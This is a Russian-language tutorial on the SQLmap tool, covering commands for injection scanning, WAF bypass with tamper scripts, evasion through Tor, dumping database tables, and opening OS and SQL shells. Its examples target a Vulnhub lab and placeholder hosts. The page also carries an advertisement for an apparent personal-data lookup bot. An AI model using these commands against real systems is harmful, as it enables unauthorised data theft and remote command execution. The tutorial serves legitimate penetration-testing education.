SQLmap: разбор инструмента

SQLmap: разбор инструмента

Этичный Хакер

Вступление

Инструмент SQLMap можно найти в наборе инструментов каждого тестера на проникновение. Это один из самых популярных и мощных инструментов, когда дело доходит до уязвимости SQL-инъекции, которая, в свою очередь, возглавляет список 10 основных уязвимостей OWASP. От подтверждения наличия уязвимости, до извлечения имени базы данных, таблиц, столбцов и полного захвата системы - его можно использовать для разных целей.

В этой статье мы увидим различные типы команд SQLMap, которые могут пригодиться при использовании различных сценариев SQL-инъекции.

SQLMap можно скачать следующей командой:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

В демонстрационных целях я использую эту машину от Vulnhub.

Давайте посмотрим на базовое использование инструмента SQLMap для GET и POST запросов .

GET запрос

sqlmap -u http://site-to-test.com/test.php?id=1 -p id
sqlmap -u http://site-to-test.com/test.php?id=1*

-u: URL для сканирования

-p: сканируемый параметр

*: параметр для сканирования (если не указан ключ -p)

POST запрос

Мы можем предоставить данные, передаваемые в теле POST запроса, для сканирования с помощью инструмента SQLMap.

sqlmap -u http://site-to-test.com/admin/index.php --data="user=admin&password=admin" -p user

--data = POST данные

Другой способ - скопировать запрос Burp в файл и передать его в SQLMap.

sqlmap -r <путь к файлу запроса>

Давайте немного продвинемся вперед, чтобы понять другие параметры, предоставляемые инструментом SQLMap.

Сканирование страниц входа в систему

Страницы входа в систему авторизуются заголовком cookie, который передается в заголовке HTTP запроса через GET/POST. Чтобы просканировать страницу (страницы) входа в систему, мы должны предоставить действующее значение cookie в SQLMap.

sqlmap -u http://192.168.202.163/admin/index.php?id=1 –-cookie="cookie value"

/admin/index.php?id=1 - это страница входа для публикации.

Точно так же многие страницы защищены заголовком User-Agent или Referrer. Их тоже можно включить в команду:

sqlmap -u http://192.168.202.163/admin/index.php?id=1 --user-agent=infosec

sqlmap -u http://192.168.202.163/admin/index.php?id=1 –-referer= http://192.168.202.163/admin/index.php

Кроме того, мы можем рандомизировать заголовок user-agent, используя параметр --random-agent.

Краулинг

Crawl - это важный параметр, который позволяет инструменту SQLMap сканировать веб-сайт, начиная с корневого расположения. Глубину обхода можно определить в команде.

sqlmap -u http://192.168.202.160/ –-crawl=1

--crawl : задать глубину сканирования (значение 2 позволит инструменту сканировать до двух каталогов).

Если мы хотим исключить любую страницу из области поиска робота, мы можем определить ее с помощью --crawl-exclude. Это полезный вариант, когда мы сканируем страницу входа в систему.

sqlmap -u http://192.168.202.163/ –-crawl=3 –-cookie="cookie value" -–crawl-exclude="logout"

Эта команда просканирует веб-сайт до трех каталогов и исключит любой URL-адрес, в котором присутствует ключевое слово «logout».

Как вы можете видеть ниже, SQLMap просканировал веб-сайт, но исключил URL-адрес выхода из системы.

Давайте запустим ту же команду без опции --crawl-exclude.

Как видно ниже, когда --crawl-exclude не задан, SQLMap просканировал URL выхода из системы. Это позволит сделать существующий сеанс недействительным (из-за выхода из системы) и не завершить сканирование.

SQLMap через прокси

Мы можем задать детали прокси, для которого мы разрешаем прохождение запроса. Если мы хотим передать запрос через прокси-инструмент, такой как Burp, запустите Burp Suite и настройте его для работы на локальном хосте через порт 8080. Теперь используйте следующую команду в SQLMap:

sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -–proxy="http://localhost:8080"

Теперь подумайте о сценарии, в котором ключевые слова для sql-инъекций, такие как OrderBy и Union, заносятся в черный список на сервере. Мы можем обойти эти типы реализаций, используя технику обхода. Мы будем использовать SQLMap для отправки трафика в Burp и использовать функцию Burp «match and replace», чтобы обойти указанное выше ограничение.

Функцию Match and Replace можно найти на вкладке «Options» во вкладке «Proxy» в Burp.

Таким образом, если в запросе есть ключевое слово типа «union» оно заменится на «UnIoN».

В сценарии, когда приложение доступно только через прокси-сервер с авторизацией, можно задать прокси с помощью следующей команды:

sqlmap -u http://192.168.202.162/cat.php?id=1 -p id –-proxy="http://localhost:8080" -–proxy-cred=username:password

Batch

Batch используется для неинтерактивных сеансов. Когда мы пытаемся что-то сканировать, SQLMap может попросить нас ввести данные во время сканирования: например, при использовании функции сканирования инструмент спрашивает пользователя, хочет ли пользователь сканировать идентифицированный URL. Если в команде определено --batch, инструмент использует значение по умолчанию для продолжения, не спрашивая пользователя.

Форма

URL-адрес страницы с полем формы (например, страница входа) может быть предоставлен вместе с параметром --form, чтобы проанализировать страницу и помочь пользователю проверить указанные поля.

Теперь страницы с большим количеством полей формы можно эффективно тестировать, используя опции --form и --batch вместе. Это проанализирует страницу и проверит наличие полей формы и автоматически предоставит ввод от имени пользователя.

Если необходимо сканировать все приложение, можно использовать параметр сканирования вместе с --form и --batch.

👁 BIG BROTHER - бот пробива по СНГ

Потоки

Параметр потоков позволяет пользователю определять количество одновременных запросов, отправляемых инструментом SQLMap. Это сократит общее время тестирования. Не следует устанавливать слишком высокое значение, так как это может повлиять на точность результата.

Risk и Level

Risk допускает тип полезной нагрузки, используемый инструментом. По умолчанию он использует значение 1 и может быть настроен до уровня 3. Уровень 3, будучи максимальным, включает несколько сложных SQL-запросов.

Level определяет количество выполняемых проверок/полезных нагрузок. Диапазон значений от 1 до 5. Значение 5 максимально и включает сканирование большого количество полезных нагрузок.

Risk и Level рекомендуется увеличить, если SQLMap не может обнаружить инъекцию в настройках по умолчанию.

Подробный вывод

В случае, если мы хотим видеть, что полезная нагрузка отправляется инструментом, мы можем использовать опцию подробного вывода. Диапазон значений от 1 до 6.

Перечисление баз данных

Поскольку мы знаем, что SQLMap в основном используется для эксплуатации SQL-инъекций, давайте рассмотрим некоторые команды для перечисления баз данных через приложение, уязвимое для SQL-инъекций.

1. --dbs: эта опция используется для перечисления баз данных.

2. Теперь у нас есть имя базы данных. Чтобы извлечь таблицу для базы данных «photoblog», выполните следующую команду:

3. Чтобы извлечь сведения о столбце из таблицы «users», выполните следующую команду:

4. Чтобы выгрузить данные для таблицы «users», используйте команду --dump:

5. Чтобы идентифицировать текущего пользователя базы данных:

sqlmap -u http://192.168.202.163/cat.php?id=2 --curent-user

6. Чтобы определить текущее имя базы данных:

sqlmap -u http://192.168.202.163/cat.php?id=2 --current-db

7. Чтобы определить привилегии, роли, и является ли текущий пользователь администратором БД:

sqlmap -u http://192.168.202.163/cat.php?id=2 --privileges --roles --is-dba --hostname

Обход WAF с помощью Tamper скриптов

Часто мы сталкиваемся со сценарием, когда приложение находится за брандмауэром веб-приложений (WAF). Чтобы проверить, защищен ли сайт WAF, мы можем использовать следующий параметр:

--identify-waf

Как только WAF идентифицирован, мы можем использовать tamper скрипт для атаки на приложения, защищенные WAF. Tamper может изменить запрос, чтобы избежать обнаружения WAF. Скрипты можно найти в каталоге /usr/share/sqlmap/tamper/.

Запуск системных команд

Мы можем запускать команды уровня ОС / системы, если текущий пользователь базы данных имеет права администратора базы данных. Мы можем использовать следующие варианты:

Для сервера Linux:

sqlmap -u http://192.168.202.162/cat.php?id=1 -–os-shell

Для сервера Windows:

sqlmap -u http://192.168.202.162/cat.php?id=1 –-os-cmd <cmd>

Выполнение SQL-запросов

Мы можем запустить SQL оболочку в базе данных, выполнив следующие команды:

sqlmap -u 192.168.202.164/cat.php?id=2 --sql-shell

Другие варианты

Некоторые другие варианты включают:

1. Сканирование страницы, защищенной HTTP-аутентификацией, такой как Basic, NTLM и Digest:

sqlmap -u http://example.com/admin.aspx -–auth-type Basic –-auth-cred «admin:admin»

2. Сканирование страницы, защищенной аутентификацией на основе ключа.

sqlmap -u http://example.com/admin.aspx --auth-file=<путь к сертификату PEM или файлу ключа>

3. Для рандомизации атакующих IP-адресов (это может помочь от обнаружения WAF, или для скрытие атакующего, повысив сложность отслеживания IP).

Чтобы использовать сеть Tor:

sqlmap -u http://example.com/admin.aspx –tor

Чтобы определить порт Tor:

sqlmap -u http://example.com/admin.aspx –tor-port=<порт прокси-сервера tor>

4. Если требуется задержка между каждым HTTP-запросом (в примере задержка в 1 секунду):

sqlmap -u http://example.com/admin.aspx –delay=1 

5. Если страница защищена токеном CSRF, мы можем включить его в команду:

sqlmap -u http://example.com/admin.aspx --csrf-token=<csrf token>

6. Second-Order SQL-инъекция. В этом типе SQL-инъекций полезная нагрузка SQL сохраняется в базе данных и извлекается позже при доступе к другой странице. Мы предоставляем URL-адрес, который будет запрашиваться инструментом SQLMap после каждой инъекции. Мы можем проинструктировать инструмент SQLMap проверить эту инъекцию, используя следующие команды:

sqlmap -r /root/Desktop/Burp.txt –-second-order "http://target/vulnerbalepage.php"

Файл Burp.txt содержит запрос, по которому нужно выполнить инъекцию.

--second-order содержит URL-адрес, к которому SQLMap будет обращаться после каждой инъекции.

Заключение

SQLMap - хороший инструмент для обнаружения и эксплуатации уязвимостей SQL-инъекций. Благодаря такому количеству поддерживаемых опций и возможности создавать и использовать различные настройки, он выделяется среди многих других инструментов с открытым исходным кодом для тестирования SQL-инъекций.

👁 BIG BROTHER - бот пробива по СНГ


Report Page